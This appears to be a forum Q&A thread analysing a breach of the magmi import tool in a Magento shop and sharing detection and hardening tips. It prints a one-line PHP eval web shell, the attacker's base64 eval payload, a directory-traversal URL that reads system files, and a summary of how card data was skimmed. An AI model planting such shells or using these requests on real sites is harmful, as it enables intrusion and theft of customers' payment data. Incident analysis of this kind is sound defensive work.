1

we discovered that somebody changed the magmi.ini file.

As the daily import of the 5000 skus not working we searched the system and found 2 files which where changed after the admins left for weekend.

./magento/app/magmi/conf/magmi.ini

Within the magmi.ini the host was changed to 10.149.131.141, all other values were empty, so magmi could no longer connect to the database.

./magento/app/magmi/conf/xmlrpc.php

Content of xmlrpc.php:

<?php eval($_REQUEST[2]);

Questions:

Can somebody please answer what the attacker could do with this piece of code?

How was the attacker able to upload this php file to the magmi directory?

As he could run php code, having the mysql db user and db password from the original magmi.ini file was he able to connect to the dabase to modify data?

UPDATE: We now secured the magmi installation whith crypted url path and .htaccess.

In the access.log file we found still the POST commands to the old standard path of magmi ... so the attacker still tries to execute some code.

Therefore i wrote a simple php script in the standard magmi path to save the POST values into a file to log what the attacker is trying to do:

This is the result (parameters of the xmlrpc.php POST call):

a:3:{i:1;s:10:"1782022939";i:3;s:110:"JGRhdGEgPSBmaWxlX2dldF9jb250ZW50cygiL3RtcC8uemxpbnV4Iik7IGlmICgkZGF0YSAhPT0gRkFMU0UpIGVjaG8gbWQ1KCRkYXRhKTs="i:2;s:70:"echo md5(@$_POST[1]);eval(base64_decode(@$_POST[3]));";}

The encoded command the atacker tries to execute:

$data = file_get_contents("/tmp/.zlinux"); if ($data !== FALSE) echo md5($data);

Does somebody know what the file .zlinux is? The file has a size of 113 kb, owner is www-data, and it contains binary value (numbers and characters).

3

This line <?php eval($_REQUEST[2]); allows the attacker to execute what ever code he likes, just by sending the code via GET or POST.
EVERYTHING HE WANTS.
This includes, deleting files, modifying files, running queries on your db, and sending results somewhere else, changing values in your db.
What you can do from your code, he can do via the code he sends in the request.

how did he upload the file? That's very broad. It could be a security breach in the extension itself, or a security issue with your server. or anything else.

| improve this answer | |
  • I am kind of guessing now, is that means magmi itself is not secured? I have never used magmi though. – Adarsh Khatri Sep 22 '15 at 13:26
  • I didn't use it ever. But there is always the possibility of having security issues like any other software. – Marius Sep 22 '15 at 13:32
  • Everybody using magmi (greate tool) can make the following quick check: http://yourshop.com/magmi/conf/magmi.ini If the browser displays the content of the ini file (containing db user and db password) you should add securtiy to magmi. @Marius: Thanks for your answer ... as we found no connection to the server at this time, is it possible to upload files from the web on the server without login credentials? – Kozure Sep 22 '15 at 13:45
  • Think we found the way of the atacker: In the apache2 access.log we found this entries at same time of file creation and modification: /magmi/web/ajax_pluginconf.php /magmi/web/magmi_saveconfig.php /magmi/web/ajax_pluginconf.php This link contains some more information http://websecurityspecialist.in/magmi-magento-extenstion-vulnerability/ ... so secure your magmi installation now to avoid such effects ! – Kozure Sep 22 '15 at 14:24
  • Finally the attacker posts the uploaded or created /magmi/conf/xmlrpc.phpfile, also found in the access.log file. If you run the example from the above link e.g. http://yourshop.com/magmi/web/ajax_pluginconf.php?file=../../../../../../../../../../../etc/hosts&plugintype=utilities&pluginclass=CustomSQLUtility your passwd or hosts file is displayed in the browser ?! – Kozure Sep 22 '15 at 14:45
2

This was the procedure used to try to get the credit card data from our shop system ... maybe this is interesting for other users to protect their systems:

  1. Using ./magmi/web/ajax_pluginconf.php and ./magmi/web/magmi_saveconfig.php the magmi.ini file was replaced and ./magmi/conf/xmlrpc.php file was created on the server. Within the magmi ini file an eval was injected: filemask = "644<?php **eval($_REQUEST[e])**;?>"

  2. This ./magmi/conf/xmlrpc.php file was used to inject base64 coded php to the file ./includes/config.php (2 Lines before the standard code).

It contains array wiht linux commands and some functions: preg_replace,session_encode,in_array,in_array,sha1,time,md5,rand,substr,rand,openssl_public_encrypt,base64_encode,popen,exp,array_push,time,copy,fileatime,serialize,imagefilter,file_put_contents,aes256, REMOTE_ADDR, HTTP_USER_AGENT,fto

Some pathes: /aitcheckout/checkout/updateSteps/, /checkout/onepage/saveBilling/, /checkout/onepage/savePayment/, /onepage/json/savePayment, /onepage/json/saveBilling, /sgps/payment/onepageSaveOrder/,

This fields were crypted written to the .zlinux file:

billing,firstname,payment,cc_cid

  1. The magento compiler was executed.

  2. If a new order was placed by a customer some order data were saved to a file /tmp/.zlinux

  3. One time per day (different times) the xmlrpc.php file was called from the web with a POST request to get the aes256 crypted content of the .zlinux file

If you are using magmi with standard path you can check the following:

Does http://yourshop.com/magmi/conf/magmi.ini shows information?

Use crypted magmi folder name and secure the folder and especially the /magmi/web folder e.g. restrict GET and POST for your IPs only.

Check if your ./includes/config.php file was changed and additonal code containing something like $GLOBALS['_1234567890_']=Array(base64_decode was injected. In addition check the date of the include files if somebody else run the compiler.

You can also run a find /var/www -name "*.php" | xargs grep "Array(base64_decode" 2>/dev/null | more to check for other injected files.

Chech your server /tmp/ directory for strange files, we found the .zlinux file because it was changed everytime a order was placed.

Luckily we found the attack very soon as the magmi import was not working anymore because of the changed magmi.ini file.

As we wanted to know what parameters were with the POST request of the xmlrpc.php file we modified the file and saved the POST data to a file:

a:3:{i:1;s:10:"1782022939";i:3;s:110:"JGRhdGEgPSBmaWxlX2dldF9jb250ZW50cygiL3RtcC8uemxpbnV4Iik7IGlmICgkZGF0YSAhPT0gRkFMU0UpIGVjaG8gbWQ1KCRkYXRhKTs=";i:2;s:70:"echomd5(@$_POST[1]);eval(base64_decode(@$_POST[3]));";}

base64 decoded:

$data = file_get_contents("/tmp/.zlinux"); if ($data !== FALSE) echo md5($data);

So check your magmi installation and make it secure!

Kozure

| improve this answer | |

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.